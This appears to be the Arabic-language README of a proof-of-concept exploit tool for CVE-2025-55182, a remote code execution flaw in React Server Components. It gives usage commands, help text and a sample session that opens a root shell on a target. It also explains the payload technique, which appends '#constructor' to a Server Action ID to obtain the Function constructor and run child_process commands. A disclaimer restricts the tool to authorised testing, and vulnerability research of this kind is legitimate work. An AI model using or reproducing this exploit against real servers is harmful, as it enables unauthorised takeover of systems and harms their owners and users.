
إثبات المفهوم لـ CVE-2025-55182
Poc لـ CVE-2025-55182
Usage: python3 poc.py -u http://target.com --cmd "<cmd_here>"
هذه الأداة مقدمة للأغراض التعليمية واختبار الأمان المصرح به فقط. استخدام هذه الأداة لمهاجمة أهداف دون موافقة مسبقة متبادلة غير قانوني. المطور لا يتحمل أي مسؤولية ولا يكون مسؤولاً عن أي إساءة استخدام أو ضرر ناتج عن هذا البرنامج.
pip install requests
يمكنك تشغيل الأداة في ثلاثة أوضاع: Check (التحقق)، Exploit (الاستغلال)، أو Interactive Shell (شل تفاعلي).
usage: poc.py [-h] [-u URL] [--id ID] [-c CMD] [--check]
options:
-h, --help show this help message and exit
-u URL Target URL (e.g., http://localhost:3000)
--id ID Target Server Action ID (default: user-profile-action)
-c CMD, --cmd CMD Command to execute directly (non-interactive mode)
--check Only check for vulnerability (Crash Method), do not exploit
python3 poc.py -u http://target-site.com --check
python3 poc.py -u http://target-site.com --cmd "id"
python3 poc.py
# Inside the shell
RSC-Shell> set url http://localhost:3000
[+] URL set to: http://localhost:3000
RSC-Shell> check
[+] TARGET IS VULNERABLE!
RSC-Shell> shell
[*] Starting pseudo-interactive shell. Use 'exit' to return.
cmd> whoami
root
التحقق (Check): يرسل طلبًا متعدد الأجزاء (multipart) يُعرّف {} في الفهرس 1، ويحاول الوصول إلى ["$1:a:a"]. الخوادم غير المصححة تتعطل (HTTP 500) عند محاولة الوصول إلى الخاصية a لقيمة غير معرّفة. الخوادم المصححة ترجع HTTP 200.
الاستغلال (Exploit): يرسل طلبًا متعدد الأجزاء يشير إلى معرف الإجراء (Action ID) الصحيح، لكنه يُلحق #constructor. وهذا يخدع المسلسل (serializer) ليُعيد مُنشئ الدالة (Function constructor)، مما يسمح بتمرير JavaScript عشوائي (child_process في Node.js) ليتم تنفيذه على الخادم.